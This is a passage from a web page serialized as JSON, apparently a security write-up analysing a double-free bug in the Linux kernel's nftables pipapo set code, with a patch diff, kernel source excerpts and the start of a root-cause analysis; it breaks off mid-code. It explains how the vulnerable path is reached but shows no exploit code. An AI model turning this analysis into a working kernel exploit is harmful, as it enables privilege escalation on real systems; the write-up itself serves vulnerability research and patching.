*ctx,\n",{"type":23,"tag":314,"props":50052,"children":50053},{"class":316,"line":1173},[50054],{"type":23,"tag":314,"props":50055,"children":50056},{"emptyLinePlaceholder":18},[50057],{"type":28,"value":1088},{"type":23,"tag":314,"props":50059,"children":50060},{"class":316,"line":1208},[50061],{"type":23,"tag":314,"props":50062,"children":50063},{"style":338},[50064],{"type":28,"value":50065}," m = rcu_dereference_protected(priv->match, true);\n",{"type":23,"tag":314,"props":50067,"children":50068},{"class":316,"line":1216},[50069],{"type":23,"tag":314,"props":50070,"children":50071},{"emptyLinePlaceholder":18},[50072],{"type":28,"value":1088},{"type":23,"tag":314,"props":50074,"children":50075},{"class":316,"line":1301},[50076],{"type":23,"tag":314,"props":50077,"children":50078},{"style":338},[50079],{"type":28,"value":50080}," if (m) {\n",{"type":23,"tag":314,"props":50082,"children":50083},{"class":316,"line":1343},[50084],{"type":23,"tag":314,"props":50085,"children":50086},{"style":338},[50087],{"type":28,"value":50088}," rcu_barrier();\n",{"type":23,"tag":314,"props":50090,"children":50091},{"class":316,"line":1351},[50092],{"type":23,"tag":314,"props":50093,"children":50094},{"style":338},[50095],{"type":28,"value":50096}," \n",{"type":23,"tag":314,"props":50098,"children":50099},{"class":316,"line":1387},[50100],{"type":23,"tag":314,"props":50101,"children":50102},{"style":1245},[50103],{"type":28,"value":50104},"- nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":23,"tag":314,"props":50106,"children":50107},{"class":316,"line":1422},[50108],{"type":23,"tag":314,"props":50109,"children":50110},{"style":1245},[50111],{"type":28,"value":50112},"-\n",{"type":23,"tag":314,"props":50114,"children":50115},{"class":316,"line":1430},[50116],{"type":23,"tag":314,"props":50117,"children":50118},{"style":338},[50119],{"type":28,"value":50120}," for_each_possible_cpu(cpu)\n",{"type":23,"tag":314,"props":50122,"children":50123},{"class":316,"line":1452},[50124],{"type":23,"tag":314,"props":50125,"children":50126},{"style":338},[50127],{"type":28,"value":50128}," pipapo_free_scratch(m, cpu);\n",{"type":23,"tag":314,"props":50130,"children":50131},{"class":316,"line":1497},[50132],{"type":23,"tag":314,"props":50133,"children":50134},{"style":338},[50135],{"type":28,"value":50136}," free_percpu(m->scratch);\n",{"type":23,"tag":314,"props":50138,"children":50139},{"class":316,"line":1539},[50140],{"type":23,"tag":314,"props":50141,"children":50142},{"style":338},[50143],{"type":28,"value":50144},"@@ -2342,8 +2340,7 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n",{"type":23,"tag":314,"props":50146,"children":50147},{"class":316,"line":1548},[50148],{"type":23,"tag":314,"props":50149,"children":50150},{"style":338},[50151],{"type":28,"value":50152}," if (priv->clone) {\n",{"type":23,"tag":314,"props":50154,"children":50155},{"class":316,"line":1584},[50156],{"type":23,"tag":314,"props":50157,"children":50158},{"style":338},[50159],{"type":28,"value":50160}," m = priv->clone;\n",{"type":23,"tag":314,"props":50162,"children":50163},{"class":316,"line":1617},[50164],{"type":23,"tag":314,"props":50165,"children":50166},{"style":338},[50167],{"type":28,"value":50096},{"type":23,"tag":314,"props":50169,"children":50170},{"class":316,"line":1625},[50171],{"type":23,"tag":314,"props":50172,"children":50173},{"style":1245},[50174],{"type":28,"value":50175},"- if (priv->dirty)\n",{"type":23,"tag":314,"props":50177,"children":50178},{"class":316,"line":1660},[50179],{"type":23,"tag":314,"props":50180,"children":50181},{"style":1245},[50182],{"type":28,"value":50183},"- nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":23,"tag":314,"props":50185,"children":50186},{"class":316,"line":1708},[50187],{"type":23,"tag":314,"props":50188,"children":50189},{"style":1054},[50190],{"type":28,"value":50191},"+ nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":23,"tag":314,"props":50193,"children":50194},{"class":316,"line":1743},[50195],{"type":23,"tag":314,"props":50196,"children":50197},{"style":338},[50198],{"type":28,"value":50096},{"type":23,"tag":314,"props":50200,"children":50201},{"class":316,"line":1751},[50202],{"type":23,"tag":314,"props":50203,"children":50204},{"style":338},[50205],{"type":28,"value":50120},{"type":23,"tag":314,"props":50207,"children":50208},{"class":316,"line":1791},[50209],{"type":23,"tag":314,"props":50210,"children":50211},{"style":338},[50212],{"type":28,"value":50213}," pipapo_free_scratch(priv->clone, cpu);\n",{"type":23,"tag":24,"props":50215,"children":50216},{},[50217,50219,50225,50226,50232,50234,50240,50242,50248,50250,50255,50257,50263,50265,50271,50273,50279],{"type":28,"value":50218},"If the ",{"type":23,"tag":94,"props":50220,"children":50222},{"className":50221},[],[50223],{"type":28,"value":50224},"priv->dirty",{"type":28,"value":557},{"type":23,"tag":94,"props":50227,"children":50229},{"className":50228},[],[50230],{"type":28,"value":50231},"priv->clone",{"type":28,"value":50233}," variables are set, ",{"type":23,"tag":94,"props":50235,"children":50237},{"className":50236},[],[50238],{"type":28,"value":50239},"nft_set_pipapo_match_destroy()",{"type":28,"value":50241}," is called twice, once with ",{"type":23,"tag":94,"props":50243,"children":50245},{"className":50244},[],[50246],{"type":28,"value":50247},"priv->match",{"type":28,"value":50249}," as an argument, and then again with ",{"type":23,"tag":94,"props":50251,"children":50253},{"className":50252},[],[50254],{"type":28,"value":50231},{"type":28,"value":50256},". Looking at what this function does, we can see that it is iterating over the ",{"type":23,"tag":94,"props":50258,"children":50260},{"className":50259},[],[50261],{"type":28,"value":50262},"setelem",{"type":28,"value":50264},"s of the ",{"type":23,"tag":94,"props":50266,"children":50268},{"className":50267},[],[50269],{"type":28,"value":50270},"set",{"type":28,"value":50272}," and calling ",{"type":23,"tag":94,"props":50274,"children":50276},{"className":50275},[],[50277],{"type":28,"value":50278},"nf_tables_set_elem_destroy()",{"type":28,"value":50280}," for each of them.",{"type":23,"tag":304,"props":50282,"children":50284},{"className":306,"code":50283,"language":308,"meta":7,"style":7},"static void nft_set_pipapo_match_destroy(const struct nft_ctx *ctx,\n const struct nft_set *set,\n struct nft_pipapo_match *m)\n{\n struct nft_pipapo_field *f;\n int i, r;\n\n for (i = 0, f = m->f; i \u003C m->field_count - 1; i++, f++)\n ;\n\n for (r = 0; r \u003C f->rules; r++) {\n struct nft_pipapo_elem *e;\n\n if (r \u003C f->rules - 1 && f->mt[r + 1].e == f->mt[r].e)\n continue;\n\n e = f->mt[r].e;\n\n nf_tables_set_elem_destroy(ctx, set, &e->priv);\n }\n}\n",[50285],{"type":23,"tag":94,"props":50286,"children":50287},{"__ignoreMap":7},[50288,50335,50363,50389,50396,50417,50430,50437,50534,50542,50549,50604,50625,50632,50735,50747,50754,50790,50797,50831,50838],{"type":23,"tag":314,"props":50289,"children":50290},{"class":316,"line":317},[50291,50296,50301,50306,50310,50314,50318,50323,50327,50331],{"type":23,"tag":314,"props":50292,"children":50293},{"style":321},[50294],{"type":28,"value":50295},"static",{"type":23,"tag":314,"props":50297,"children":50298},{"style":321},[50299],{"type":28,"value":50300}," void",{"type":23,"tag":314,"props":50302,"children":50303},{"style":332},[50304],{"type":28,"value":50305}," nft_set_pipapo_match_destroy",{"type":23,"tag":314,"props":50307,"children":50308},{"style":338},[50309],{"type":28,"value":341},{"type":23,"tag":314,"props":50311,"children":50312},{"style":321},[50313],{"type":28,"value":346},{"type":23,"tag":314,"props":50315,"children":50316},{"style":321},[50317],{"type":28,"value":20388},{"type":23,"tag":314,"props":50319,"children":50320},{"style":338},[50321],{"type":28,"value":50322}," nft_ctx ",{"type":23,"tag":314,"props":50324,"children":50325},{"style":354},[50326],{"type":28,"value":256},{"type":23,"tag":314,"props":50328,"children":50329},{"style":360},[50330],{"type":28,"value":19518},{"type":23,"tag":314,"props":50332,"children":50333},{"style":338},[50334],{"type":28,"value":1870},{"type":23,"tag":314,"props":50336,"children":50337},{"class":316,"line":370},[50338,50342,50346,50351,50355,50359],{"type":23,"tag":314,"props":50339,"children":50340},{"style":321},[50341],{"type":28,"value":30795},{"type":23,"tag":314,"props":50343,"children":50344},{"style":321},[50345],{"type":28,"value":20388},{"type":23,"tag":314,"props":50347,"children":50348},{"style":338},[50349],{"type":28,"value":50350}," nft_set ",{"type":23,"tag":314,"props":50352,"children":50353},{"style":354},[50354],{"type":28,"value":256},{"type":23,"tag":314,"props":50356,"children":50357},{"style":360},[50358],{"type":28,"value":50270},{"type":23,"tag":314,"props":50360,"children":50361},{"style":338},[50362],{"type":28,"value":1870},{"type":23,"tag":314,"props":50364,"children":50365},{"class":316,"line":380},[50366,50371,50376,50380,50385],{"type":23,"tag":314,"props":50367,"children":50368},{"style":321},[50369],{"type":28,"value":50370}," struct",{"type":23,"tag":314,"props":50372,"children":50373},{"style":338},[50374],{"type":28,"value":50375}," nft_pipapo_match ",{"type":23,"tag":314,"props":50377,"children":50378},{"style":354},[50379],{"type":28,"value":256},{"type":23,"tag":314,"props":50381,"children":50382},{"style":360},[50383],{"type":28,"value":50384},"m",{"type":23,"tag":314,"props":50386,"children":50387},{"style":338},[50388],{"type":28,"value":2414},{"type":23,"tag":314,"props":50390,"children":50391},{"class":316,"line":1091},[50392],{"type":23,"tag":314,"props":50393,"children":50394},{"style":338},[50395],{"type":28,"value":10129},{"type":23,"tag":314,"props":50397,"children":50398},{"class":316,"line":1141},[50399,50403,50408,50412],{"type":23,"tag":314,"props":50400,"children":50401},{"style":321},[50402],{"type":28,"value":20388},{"type":23,"tag":314,"props":50404,"children":50405},{"style":338},[50406],{"type":28,"value":50407}," nft_pipapo_field ",{"type":23,"tag":314,"props":50409,"children":50410},{"style":354},[50411],{"type":28,"value":256},{"type":23,"tag":314,"props":50413,"children":50414},{"style":338},[50415],{"type":28,"value":50416},"f;\n",{"type":23,"tag":314,"props":50418,"children":50419},{"class":316,"line":1173},[50420,50425],{"type":23,"tag":314,"props":50421,"children":50422},{"style":321},[50423],{"type":28,"value":50424}," int",{"type":23,"tag":314,"props":50426,"children":50427},{"style":338},[50428],{"type":28,"value":50429}," i, r;\n",{"type":23,"tag":314,"props":50431,"children":50432},{"class":316,"line":1208},[50433],{"type":23,"tag":314,"props":50434,"children":50435},{"emptyLinePlaceholder":18},[50436],{"type":28,"value":1088},{"type":23,"tag":314,"props":50438,"children":50439},{"class":316,"line":1216},[50440,50445,50450,50454,50458,50463,50467,50472,50476,50480,50485,50489,50493,50497,50502,50507,50511,50516,50521,50526,50530],{"type":23,"tag":314,"props":50441,"children":50442},{"style":2284},[50443],{"type":28,"value":50444}," for",{"type":23,"tag":314,"props":50446,"children":50447},{"style":338},[50448],{"type":28,"value":50449}," (i ",{"type":23,"tag":314,"props":50451,"children":50452},{"style":354},[50453],{"type":28,"value":1102},{"type":23,"tag":314,"props":50455,"children":50456},{"style":1054},[50457],{"type":28,"value":1201},{"type":23,"tag":314,"props":50459,"children":50460},{"style":338},[50461],{"type":28,"value":50462},", f ",{"type":23,"tag":314,"props":50464,"children":50465},{"style":354},[50466],{"type":28,"value":1102},{"type":23,"tag":314,"props":50468,"children":50469},{"style":360},[50470],{"type":28,"value":50471}," m",{"type":23,"tag":314,"props":50473,"children":50474},{"style":338},[50475],{"type":28,"value":1015},{"type":23,"tag":314,"props":50477,"children":50478},{"style":360},[50479],{"type":28,"value":32333},{"type":23,"tag":314,"props":50481,"children":50482},{"style":338},[50483],{"type":28,"value":50484},"; i ",{"type":23,"tag":314,"props":50486,"children":50487},{"style":354},[50488],{"type":28,"value":5060},{"type":23,"tag":314,"props":50490,"children":50491},{"style":360},[50492],{"type":28,"value":50471},{"type":23,"tag":314,"props":50494,"children":50495},{"style":338},[50496],{"type":28,"value":1015},{"type":23,"tag":314,"props":50498,"children":50499},{"style":360},[50500],{"type":28,"value":50501},"field_count",{"type":23,"tag":314,"props":50503,"children":50504},{"style":354},[50505],{"type":28,"value":50506}," -",{"type":23,"tag":314,"props":50508,"children":50509},{"style":1054},[50510],{"type":28,"value":3778},{"type":23,"tag":314,"props":50512,"children":50513},{"style":338},[50514],{"type":28,"value":50515},"; i",{"type":23,"tag":314,"props":50517,"children":50518},{"style":354},[50519],{"type":28,"value":50520},"++",{"type":23,"tag":314,"props":50522,"children":50523},{"style":338},[50524],{"type":28,"value":50525},", f",{"type":23,"tag":314,"props":50527,"children":50528},{"style":354},[50529],{"type":28,"value":50520},{"type":23,"tag":314,"props":50531,"children":50532},{"style":338},[50533],{"type":28,"value":2414},{"type":23,"tag":314,"props":50535,"children":50536},{"class":316,"line":1301},[50537],{"type":23,"tag":314,"props":50538,"children":50539},{"style":338},[50540],{"type":28,"value":50541}," ;\n",{"type":23,"tag":314,"props":50543,"children":50544},{"class":316,"line":1343},[50545],{"type":23,"tag":314,"props":50546,"children":50547},{"emptyLinePlaceholder":18},[50548],{"type":28,"value":1088},{"type":23,"tag":314,"props":50550,"children":50551},{"class":316,"line":1351},[50552,50556,50561,50565,50569,50574,50578,50582,50586,50591,50596,50600],{"type":23,"tag":314,"props":50553,"children":50554},{"style":2284},[50555],{"type":28,"value":50444},{"type":23,"tag":314,"props":50557,"children":50558},{"style":338},[50559],{"type":28,"value":50560}," (r ",{"type":23,"tag":314,"props":50562,"children":50563},{"style":354},[50564],{"type":28,"value":1102},{"type":23,"tag":314,"props":50566,"children":50567},{"style":1054},[50568],{"type":28,"value":1201},{"type":23,"tag":314,"props":50570,"children":50571},{"style":338},[50572],{"type":28,"value":50573},"; r ",{"type":23,"tag":314,"props":50575,"children":50576},{"style":354},[50577],{"type":28,"value":5060},{"type":23,"tag":314,"props":50579,"children":50580},{"style":360},[50581],{"type":28,"value":32219},{"type":23,"tag":314,"props":50583,"children":50584},{"style":338},[50585],{"type":28,"value":1015},{"type":23,"tag":314,"props":50587,"children":50588},{"style":360},[50589],{"type":28,"value":50590},"rules",{"type":23,"tag":314,"props":50592,"children":50593},{"style":338},[50594],{"type":28,"value":50595},"; r",{"type":23,"tag":314,"props":50597,"children":50598},{"style":354},[50599],{"type":28,"value":50520},{"type":23,"tag":314,"props":50601,"children":50602},{"style":338},[50603],{"type":28,"value":367},{"type":23,"tag":314,"props":50605,"children":50606},{"class":316,"line":1387},[50607,50611,50616,50620],{"type":23,"tag":314,"props":50608,"children":50609},{"style":321},[50610],{"type":28,"value":5050},{"type":23,"tag":314,"props":50612,"children":50613},{"style":338},[50614],{"type":28,"value":50615}," nft_pipapo_elem ",{"type":23,"tag":314,"props":50617,"children":50618},{"style":354},[50619],{"type":28,"value":256},{"type":23,"tag":314,"props":50621,"children":50622},{"style":338},[50623],{"type":28,"value":50624},"e;\n",{"type":23,"tag":314,"props":50626,"children":50627},{"class":316,"line":1422},[50628],{"type":23,"tag":314,"props":50629,"children":50630},{"emptyLinePlaceholder":18},[50631],{"type":28,"value":1088},{"type":23,"tag":314,"props":50633,"children":50634},{"class":316,"line":1430},[50635,50639,50643,50647,50651,50655,50659,50663,50667,50671,50675,50679,50684,50689,50693,50697,50701,50706,50710,50714,50718,50722,50727,50731],{"type":23,"tag":314,"props":50636,"children":50637},{"style":2284},[50638],{"type":28,"value":30642},{"type":23,"tag":314,"props":50640,"children":50641},{"style":338},[50642],{"type":28,"value":50560},{"type":23,"tag":314,"props":50644,"children":50645},{"style":354},[50646],{"type":28,"value":5060},{"type":23,"tag":314,"props":50648,"children":50649},{"style":360},[50650],{"type":28,"value":32219},{"type":23,"tag":314,"props":50652,"children":50653},{"style":338},[50654],{"type":28,"value":1015},{"type":23,"tag":314,"props":50656,"children":50657},{"style":360},[50658],{"type":28,"value":50590},{"type":23,"tag":314,"props":50660,"children":50661},{"style":354},[50662],{"type":28,"value":50506},{"type":23,"tag":314,"props":50664,"children":50665},{"style":1054},[50666],{"type":28,"value":3778},{"type":23,"tag":314,"props":50668,"children":50669},{"style":354},[50670],{"type":28,"value":13432},{"type":23,"tag":314,"props":50672,"children":50673},{"style":360},[50674],{"type":28,"value":32219},{"type":23,"tag":314,"props":50676,"children":50677},{"style":338},[50678],{"type":28,"value":1015},{"type":23,"tag":314,"props":50680,"children":50681},{"style":360},[50682],{"type":28,"value":50683},"mt",{"type":23,"tag":314,"props":50685,"children":50686},{"style":338},[50687],{"type":28,"value":50688},"[r ",{"type":23,"tag":314,"props":50690,"children":50691},{"style":354},[50692],{"type":28,"value":1130},{"type":23,"tag":314,"props":50694,"children":50695},{"style":1054},[50696],{"type":28,"value":3778},{"type":23,"tag":314,"props":50698,"children":50699},{"style":338},[50700],{"type":28,"value":49599},{"type":23,"tag":314,"props":50702,"children":50703},{"style":360},[50704],{"type":28,"value":50705},"e",{"type":23,"tag":314,"props":50707,"children":50708},{"style":354},[50709],{"type":28,"value":2537},{"type":23,"tag":314,"props":50711,"children":50712},{"style":360},[50713],{"type":28,"value":32219},{"type":23,"tag":314,"props":50715,"children":50716},{"style":338},[50717],{"type":28,"value":1015},{"type":23,"tag":314,"props":50719,"children":50720},{"style":360},[50721],{"type":28,"value":50683},{"type":23,"tag":314,"props":50723,"children":50724},{"style":338},[50725],{"type":28,"value":50726},"[r].",{"type":23,"tag":314,"props":50728,"children":50729},{"style":360},[50730],{"type":28,"value":50705},{"type":23,"tag":314,"props":50732,"children":50733},{"style":338},[50734],{"type":28,"value":2414},{"type":23,"tag":314,"props":50736,"children":50737},{"class":316,"line":1452},[50738,50743],{"type":23,"tag":314,"props":50739,"children":50740},{"style":2284},[50741],{"type":28,"value":50742}," continue",{"type":23,"tag":314,"props":50744,"children":50745},{"style":338},[50746],{"type":28,"value":2278},{"type":23,"tag":314,"props":50748,"children":50749},{"class":316,"line":1497},[50750],{"type":23,"tag":314,"props":50751,"children":50752},{"emptyLinePlaceholder":18},[50753],{"type":28,"value":1088},{"type":23,"tag":314,"props":50755,"children":50756},{"class":316,"line":1539},[50757,50762,50766,50770,50774,50778,50782,50786],{"type":23,"tag":314,"props":50758,"children":50759},{"style":338},[50760],{"type":28,"value":50761}," e ",{"type":23,"tag":314,"props":50763,"children":50764},{"style":354},[50765],{"type":28,"value":1102},{"type":23,"tag":314,"props":50767,"children":50768},{"style":360},[50769],{"type":28,"value":32219},{"type":23,"tag":314,"props":50771,"children":50772},{"style":338},[50773],{"type":28,"value":1015},{"type":23,"tag":314,"props":50775,"children":50776},{"style":360},[50777],{"type":28,"value":50683},{"type":23,"tag":314,"props":50779,"children":50780},{"style":338},[50781],{"type":28,"value":50726},{"type":23,"tag":314,"props":50783,"children":50784},{"style":360},[50785],{"type":28,"value":50705},{"type":23,"tag":314,"props":50787,"children":50788},{"style":338},[50789],{"type":28,"value":2278},{"type":23,"tag":314,"props":50791,"children":50792},{"class":316,"line":1548},[50793],{"type":23,"tag":314,"props":50794,"children":50795},{"emptyLinePlaceholder":18},[50796],{"type":28,"value":1088},{"type":23,"tag":314,"props":50798,"children":50799},{"class":316,"line":1584},[50800,50805,50810,50814,50818,50822,50827],{"type":23,"tag":314,"props":50801,"children":50802},{"style":332},[50803],{"type":28,"value":50804}," nf_tables_set_elem_destroy",{"type":23,"tag":314,"props":50806,"children":50807},{"style":338},[50808],{"type":28,"value":50809},"(ctx, set, ",{"type":23,"tag":314,"props":50811,"children":50812},{"style":354},[50813],{"type":28,"value":1833},{"type":23,"tag":314,"props":50815,"children":50816},{"style":360},[50817],{"type":28,"value":50705},{"type":23,"tag":314,"props":50819,"children":50820},{"style":338},[50821],{"type":28,"value":1015},{"type":23,"tag":314,"props":50823,"children":50824},{"style":360},[50825],{"type":28,"value":50826},"priv",{"type":23,"tag":314,"props":50828,"children":50829},{"style":338},[50830],{"type":28,"value":1025},{"type":23,"tag":314,"props":50832,"children":50833},{"class":316,"line":1617},[50834],{"type":23,"tag":314,"props":50835,"children":50836},{"style":338},[50837],{"type":28,"value":8845},{"type":23,"tag":314,"props":50839,"children":50840},{"class":316,"line":1625},[50841],{"type":23,"tag":314,"props":50842,"children":50843},{"style":338},[50844],{"type":28,"value":386},{"type":23,"tag":24,"props":50846,"children":50847},{},[50848,50850,50856,50858,50863],{"type":28,"value":50849},"Which will then ",{"type":23,"tag":94,"props":50851,"children":50853},{"className":50852},[],[50854],{"type":28,"value":50855},"kfree()",{"type":28,"value":50857}," the ",{"type":23,"tag":94,"props":50859,"children":50861},{"className":50860},[],[50862],{"type":28,"value":50262},{"type":28,"value":282},{"type":23,"tag":304,"props":50865,"children":50867},{"className":306,"code":50866,"language":308,"meta":7,"style":7},"void nf_tables_set_elem_destroy(const struct nft_ctx *ctx,\n const struct nft_set *set,\n const struct nft_elem_priv *elem_priv)\n{\n struct nft_set_ext *ext = nft_set_elem_ext(set, elem_priv);\n\n if (nft_set_ext_exists(ext, NFT_SET_EXT_EXPRESSIONS))\n nft_set_elem_expr_destroy(ctx, nft_set_ext_expr(ext));\n\n kfree(elem_priv);\n}\n",[50868],{"type":23,"tag":94,"props":50869,"children":50870},{"__ignoreMap":7},[50871,50912,50940,50969,50976,51011,51018,51039,51062,51069,51082],{"type":23,"tag":314,"props":50872,"children":50873},{"class":316,"line":317},[50874,50879,50884,50888,50892,50896,50900,50904,50908],{"type":23,"tag":314,"props":50875,"children":50876},{"style":321},[50877],{"type":28,"value":50878},"void",{"type":23,"tag":314,"props":50880,"children":50881},{"style":332},[50882],{"type":28,"value":50883}," nf_tables_set_elem_destroy",{"type":23,"tag":314,"props":50885,"children":50886},{"style":338},[50887],{"type":28,"value":341},{"type":23,"tag":314,"props":50889,"children":50890},{"style":321},[50891],{"type":28,"value":346},{"type":23,"tag":314,"props":50893,"children":50894},{"style":321},[50895],{"type":28,"value":20388},{"type":23,"tag":314,"props":50897,"children":50898},{"style":338},[50899],{"type":28,"value":50322},{"type":23,"tag":314,"props":50901,"children":50902},{"style":354},[50903],{"type":28,"value":256},{"type":23,"tag":314,"props":50905,"children":50906},{"style":360},[50907],{"type":28,"value":19518},{"type":23,"tag":314,"props":50909,"children":50910},{"style":338},[50911],{"type":28,"value":1870},{"type":23,"tag":314,"props":50913,"children":50914},{"class":316,"line":370},[50915,50920,50924,50928,50932,50936],{"type":23,"tag":314,"props":50916,"children":50917},{"style":321},[50918],{"type":28,"value":50919}," const",{"type":23,"tag":314,"props":50921,"children":50922},{"style":321},[50923],{"type":28,"value":20388},{"type":23,"tag":314,"props":50925,"children":50926},{"style":338},[50927],{"type":28,"value":50350},{"type":23,"tag":314,"props":50929,"children":50930},{"style":354},[50931],{"type":28,"value":256},{"type":23,"tag":314,"props":50933,"children":50934},{"style":360},[50935],{"type":28,"value":50270},{"type":23,"tag":314,"props":50937,"children":50938},{"style":338},[50939],{"type":28,"value":1870},{"type":23,"tag":314,"props":50941,"children":50942},{"class":316,"line":380},[50943,50947,50951,50956,50960,50965],{"type":23,"tag":314,"props":50944,"children":50945},{"style":321},[50946],{"type":28,"value":50919},{"type":23,"tag":314,"props":50948,"children":50949},{"style":321},[50950],{"type":28,"value":20388},{"type":23,"tag":314,"props":50952,"children":50953},{"style":338},[50954],{"type":28,"value":50955}," nft_elem_priv ",{"type":23,"tag":314,"props":50957,"children":50958},{"style":354},[50959],{"type":28,"value":256},{"type":23,"tag":314,"props":50961,"children":50962},{"style":360},[50963],{"type":28,"value":50964},"elem_priv",{"type":23,"tag":314,"props":50966,"children":50967},{"style":338},[50968],{"type":28,"value":2414},{"type":23,"tag":314,"props":50970,"children":50971},{"class":316,"line":1091},[50972],{"type":23,"tag":314,"props":50973,"children":50974},{"style":338},[50975],{"type":28,"value":10129},{"type":23,"tag":314,"props":50977,"children":50978},{"class":316,"line":1141},[50979,50983,50988,50992,50997,51001,51006],{"type":23,"tag":314,"props":50980,"children":50981},{"style":321},[50982],{"type":28,"value":20388},{"type":23,"tag":314,"props":50984,"children":50985},{"style":338},[50986],{"type":28,"value":50987}," nft_set_ext ",{"type":23,"tag":314,"props":50989,"children":50990},{"style":354},[50991],{"type":28,"value":256},{"type":23,"tag":314,"props":50993,"children":50994},{"style":338},[50995],{"type":28,"value":50996},"ext ",{"type":23,"tag":314,"props":50998,"children":50999},{"style":354},[51000],{"type":28,"value":1102},{"type":23,"tag":314,"props":51002,"children":51003},{"style":332},[51004],{"type":28,"value":51005}," nft_set_elem_ext",{"type":23,"tag":314,"props":51007,"children":51008},{"style":338},[51009],{"type":28,"value":51010},"(set, elem_priv);\n",{"type":23,"tag":314,"props":51012,"children":51013},{"class":316,"line":1173},[51014],{"type":23,"tag":314,"props":51015,"children":51016},{"emptyLinePlaceholder":18},[51017],{"type":28,"value":1088},{"type":23,"tag":314,"props":51019,"children":51020},{"class":316,"line":1208},[51021,51025,51029,51034],{"type":23,"tag":314,"props":51022,"children":51023},{"style":2284},[51024],{"type":28,"value":15029},{"type":23,"tag":314,"props":51026,"children":51027},{"style":338},[51028],{"type":28,"value":2324},{"type":23,"tag":314,"props":51030,"children":51031},{"style":332},[51032],{"type":28,"value":51033},"nft_set_ext_exists",{"type":23,"tag":314,"props":51035,"children":51036},{"style":338},[51037],{"type":28,"value":51038},"(ext, NFT_SET_EXT_EXPRESSIONS))\n",{"type":23,"tag":314,"props":51040,"children":51041},{"class":316,"line":1216},[51042,51047,51052,51057],{"type":23,"tag":314,"props":51043,"children":51044},{"style":332},[51045],{"type":28,"value":51046}," nft_set_elem_expr_destroy",{"type":23,"tag":314,"props":51048,"children":51049},{"style":338},[51050],{"type":28,"value":51051},"(ctx, ",{"type":23,"tag":314,"props":51053,"children":51054},{"style":332},[51055],{"type":28,"value":51056},"nft_set_ext_expr",{"type":23,"tag":314,"props":51058,"children":51059},{"style":338},[51060],{"type":28,"value":51061},"(ext));\n",{"type":23,"tag":314,"props":51063,"children":51064},{"class":316,"line":1301},[51065],{"type":23,"tag":314,"props":51066,"children":51067},{"emptyLinePlaceholder":18},[51068],{"type":28,"value":1088},{"type":23,"tag":314,"props":51070,"children":51071},{"class":316,"line":1343},[51072,51077],{"type":23,"tag":314,"props":51073,"children":51074},{"style":332},[51075],{"type":28,"value":51076}," kfree",{"type":23,"tag":314,"props":51078,"children":51079},{"style":338},[51080],{"type":28,"value":51081},"(elem_priv);\n",{"type":23,"tag":314,"props":51083,"children":51084},{"class":316,"line":1351},[51085],{"type":23,"tag":314,"props":51086,"children":51087},{"style":338},[51088],{"type":28,"value":386},{"type":23,"tag":24,"props":51090,"children":51091},{},[51092,51093,51099,51101,51106,51108,51113,51115,51120,51121,51126,51128,51133,51135,51140,51142,51147],{"type":28,"value":92},{"type":23,"tag":94,"props":51094,"children":51096},{"className":51095},[],[51097],{"type":28,"value":51098},"nft_pipapo_match",{"type":28,"value":51100}," objects contain views of the ",{"type":23,"tag":94,"props":51102,"children":51104},{"className":51103},[],[51105],{"type":28,"value":50262},{"type":28,"value":51107},"'s of a ",{"type":23,"tag":94,"props":51109,"children":51111},{"className":51110},[],[51112],{"type":28,"value":50270},{"type":28,"value":51114},". The difference between the ",{"type":23,"tag":94,"props":51116,"children":51118},{"className":51117},[],[51119],{"type":28,"value":50247},{"type":28,"value":557},{"type":23,"tag":94,"props":51122,"children":51124},{"className":51123},[],[51125],{"type":28,"value":50231},{"type":28,"value":51127}," match objects is that the clone has a view of not only already committed ",{"type":23,"tag":94,"props":51129,"children":51131},{"className":51130},[],[51132],{"type":28,"value":50262},{"type":28,"value":51134},"'s that the \"normal\" one has but also a view of the ",{"type":23,"tag":94,"props":51136,"children":51138},{"className":51137},[],[51139],{"type":28,"value":50262},{"type":28,"value":51141},"'s that was still not committed that only exists in the current control-plane. In other words, the control plane makes changes to the clone, and if the commit path is reached, the changes are committed to ",{"type":23,"tag":94,"props":51143,"children":51145},{"className":51144},[],[51146],{"type":28,"value":50247},{"type":28,"value":282},{"type":23,"tag":837,"props":51149,"children":51151},{"id":51150},"root-cause-analysis",[51152],{"type":28,"value":51153},"Root-cause analysis",{"type":23,"tag":24,"props":51155,"children":51156},{},[51157,51159,51165,51167,51172],{"type":28,"value":51158},"So ",{"type":23,"tag":94,"props":51160,"children":51162},{"className":51161},[],[51163],{"type":28,"value":51164},"nf_tables_set_elem_destroy",{"type":28,"value":51166}," being called for both match objects seems like a pretty straightforward double-free of the ",{"type":23,"tag":94,"props":51168,"children":51170},{"className":51169},[],[51171],{"type":28,"value":50262},{"type":28,"value":51173},"s that had already been committed since those will have duplicated views. At first glance, this is some bizarre-looking code. How did this bug come to be? How was it not detected before? Let's try to get to the bottom of it.",{"type":23,"tag":24,"props":51175,"children":51176},{},[51177,51179,51184,51186,51191,51193,51198,51200,51205,51207,51212],{"type":28,"value":51178},"We should now try to understand how to reach that path with the ",{"type":23,"tag":94,"props":51180,"children":51182},{"className":51181},[],[51183],{"type":28,"value":50224},{"type":28,"value":51185}," flag set, which is a member of the private data of a pipapo ",{"type":23,"tag":94,"props":51187,"children":51189},{"className":51188},[],[51190],{"type":28,"value":50262},{"type":28,"value":51192}," that becomes true whenever a change is made to the ",{"type":23,"tag":94,"props":51194,"children":51196},{"className":51195},[],[51197],{"type":28,"value":50270},{"type":28,"value":51199}," during the control-plane pass of a transaction. This is to tell the commit path that this ",{"type":23,"tag":94,"props":51201,"children":51203},{"className":51202},[],[51204],{"type":28,"value":50270},{"type":28,"value":51206}," has changes that have to be committed. If we refer to the code, we see that we can make the ",{"type":23,"tag":94,"props":51208,"children":51210},{"className":51209},[],[51211],{"type":28,"value":50270},{"type":28,"value":51213}," dirty by inserting a new element.",{"type":23,"tag":304,"props":51215,"children":51217},{"className":306,"code":51216,"language":308,"meta":7,"style":7},"static int nft_pipapo_insert(const struct net *net, const struct nft_set *set,\n const struct nft_set_elem *elem,\n struct nft_elem_priv **elem_priv)\n{\n[...]\n priv->dirty = 